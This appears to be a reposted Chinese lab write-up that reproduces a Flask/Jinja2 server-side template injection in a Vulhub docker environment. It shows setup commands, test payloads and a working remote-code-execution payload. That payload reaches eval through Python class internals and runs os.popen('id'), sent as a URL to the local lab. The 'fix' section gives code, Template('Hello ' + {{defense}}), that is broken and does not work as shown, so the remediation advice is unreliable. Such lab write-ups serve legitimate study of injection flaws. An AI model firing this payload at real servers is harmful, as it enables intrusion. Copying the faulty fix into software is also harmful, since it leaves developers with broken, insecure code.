Flask - SSTI - VulHub


一、環境准備:

1.打開vulhub,進入到flask/ssti目錄下

2.對靶場進行編譯

docker-compose build

3.運行靶場

docker-compose up -d

4.移除環境

docker-compose down

 

二、漏洞復現:

1.進入瀏覽器頁面,訪問127.0.0.1:8000,

docker ps // 查看端口號

2.查看源碼,

ls
cd src
ls
cat app.py

3.根據源碼可知,name為用戶輸入字段,隨意輸入進行驗證,

核心語句:

t = Template("Hello " + name)
// 函數利用get獲取參數進入template,形成任意構造注入。
//Template()完全可控,那么就可以直接寫入jinja2的模板語言。

驗證語句:

http://127.0.0.1:8000/?name=s1mpL3
http://127.0.0.1:8000/?name={{2*2}}
http://127.0.0.1:8000/?name={{'xiaojian'.upper()}}

 

三、漏洞修復:

修改后:

from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/s1mpL3") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + {{defense}}) return t.render(defense=name) if __name__ == "__main__": app.run()

此時可以避免代碼注入。

 

四、漏洞利用:

官方POC - 獲取eval函數執行任意代碼測試:

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

執行:

http://127.0.0.1:8000/?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

五、參考:

https://www.jianshu.com/p/a1d6ae580add

https://blog.csdn.net/yukinorong/article/details/106938717


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM